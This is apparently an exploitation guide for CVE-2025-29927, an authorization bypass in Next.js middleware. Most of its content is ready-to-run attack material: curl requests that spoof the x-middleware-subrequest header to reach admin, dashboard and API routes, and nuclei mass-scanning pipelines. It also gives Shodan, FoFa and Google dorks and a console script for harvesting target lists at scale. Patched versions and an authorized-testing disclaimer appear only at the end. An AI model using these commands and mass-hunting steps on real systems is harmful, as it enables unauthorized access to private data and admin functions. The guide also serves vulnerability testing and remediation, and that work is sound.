Next.js Middleware Bypass

CVE-2025-29927 - Authorization bypass via x-middleware-subrequest

9 Steps
28 Commands
5 Tools

Middleware in Next.js intercepts incoming HTTP requests and processes them before they reach the final route handler. It is commonly used for authentication & authorization (checking if a user is logged in), logging & monitoring (tracking requests for analytics), and request modification (altering headers or query parameters).

Pro Tips

  • Middleware runs before any route handler is executed
  • It can modify requests, responses, or even block access entirely
  • Common use cases: authentication checks, rate limiting, A/B testing, and analytics

CVE-2025-29927 is a critical authorization bypass vulnerability in Next.js middleware. By sending a specially crafted header, attackers can bypass all middleware checks and gain unauthorized access to protected routes.

Commands

1Example vulnerable middleware
export function middleware(req) { if (!req.cookies.token) { return new Response('Unauthorized', { status: 401 }); } return NextResponse.next(); }
2Basic bypass exploit
curl -H "x-middleware-subrequest: middleware:middleware:middleware" https://target.com/dashboard

Pro Tips

  • The vulnerability allows bypassing ALL middleware checks
  • Affected versions: Next.js 12.x < 12.3.5, 13.x < 13.5.9, 14.x < 14.2.25, 15.x < 15.2.3
  • Impact: unauthorized data access, privilege escalation, application takeover

Before exploiting, you need to identify if the target is using Next.js and has vulnerable middleware. Use nuclei templates or manual probing.

Commands

1Scan with Nuclei template
echo target.com | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-29927.yaml
2Mass scan subdomains
subfinder -d target.com -all | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-29927.yaml
3Mass scan from domain list
cat domains.txt | uro | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-29927.yaml

Pro Tips

  • Look for Next.js patterns in responses: x-powered-by, _next/static
  • Check for middleware-rewrite headers in responses
  • Test manually if automated tools fail

Once you've identified a vulnerable target, exploit the authorization bypass to access protected routes. The vulnerability works by spoofing the x-middleware-subrequest header.

Commands

1Test original request (expect 307 redirect)
curl -v https://target.com/dashboard
2Bypass middleware with subrequest header
curl -H "x-middleware-subrequest: middleware:middleware:middleware" https://target.com/dashboard
3Access API endpoints
curl -H "x-middleware-subrequest: middleware:middleware:middleware" https://target.com/api/admin
4With existing session cookie
curl -H "x-middleware-subrequest: middleware:middleware:middleware" -H "Cookie: session=valid" https://target.com/admin

Pro Tips

  • Response 200 OK = Vulnerable! 307 Redirect = May still be vulnerable
  • Try multiple endpoints - admin, dashboard, API routes
  • Use Burp Suite for easier testing and response analysis

Burp Suite provides a graphical interface for testing the vulnerability. Add the malicious header to intercept and modify requests.

Commands

1Header to add in Burp Suite
x-middleware-subrequest: middleware:middleware:middleware:middleware
2Configure automatic header injection
Enable Proxy > Options > Match and Replace > Add header

Pro Tips

  • Use Burp's Match & Replace to automatically add the header
  • Easy to test multiple requests without manual curl commands
  • Capture and analyze all responses in one place

For mass hunting, use Shodan to find servers potentially running vulnerable Next.js. Search for the x-middleware-rewrite header which indicates Next.js is in use.

Commands

1Shodan search query for Next.js servers
x-middleware-rewrite
2Alternative Shodan dork
http.html:"/_next/static"
3CPE-based search
cpe:"cpe:2.3:a:zeit:next.js"
4Extract IPs/Domains from Shodan results
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}\.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+\.)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
5Scan extracted domains
cat domains.txt | uro | nuclei -t nuclei-templates/http/cves/2025/CVE-2025-29927.yaml

Pro Tips

  • Shodan returns ~15,000 results for x-middleware-rewrite
  • Use domain filter for cleaner results
  • Automate extraction with console script shown above

Use these dorks to discover potentially vulnerable Next.js applications through search engines.

Commands

1Next.js server identification
shodan query: x-middleware-rewrite
2Static Next.js sites
shodan query: http.html:"/_next/static"
3FoFa search
fofa: body="/_next/static" AND "x-middleware-rewrite"
4Google dorks
google: inurl:"/_next" AND intext:"next.config.js" OR intext:"Powered by Next.js"
5Alternative Google dork
inurl:"/_next" AND intext:"next.config.js"

Pro Tips

  • Combine multiple search engines for better coverage
  • Look for specific Next.js patterns in URLs
  • Test discovered targets with nuclei or manual curl

This vulnerability has critical impact as it allows unauthorized access to any route protected by middleware. In severe cases, attackers can compromise the entire application.

Commands

1Impact #1
Unauthorized Data Access: View private user information
2Impact #2
Privilege Escalation: Gain administrative access without credentials
3Impact #3
Application Takeover: Complete compromise in severe cases

Pro Tips

  • Always check ALL protected routes, not just obvious ones
  • API endpoints often contain sensitive data
  • Report to bug bounty programs for rewards

Next.js has released patches for all affected versions. Update to the latest version to remediate this vulnerability.

Commands

1Fix for version 15
Next.js 15.x: Upgrade to 15.2.3 or later
2Fix for version 14
Next.js 14.x: Upgrade to 14.2.25 or later
3Fix for version 13
Next.js 13.x: Upgrade to 13.5.9 or later
4Fix for version 12
Next.js 12.x: Upgrade to 12.3.5 or later

Pro Tips

  • Always keep Next.js updated to the latest version
  • Check package.json for current version
  • Consider-rate limiting as additional mitigation

Impact Assessment

  • Unauthorized access to protected routes and sensitive data
  • Privilege escalation to admin-level access
  • Potential complete application compromise

Remediation

Next.js 15.x: 15.2.3+
Next.js 14.x: 14.2.25+
Next.js 13.x: 13.5.9+
Next.js 12.x: 12.3.5+

For educational and authorized testing purposes only. Always obtain proper authorization before testing.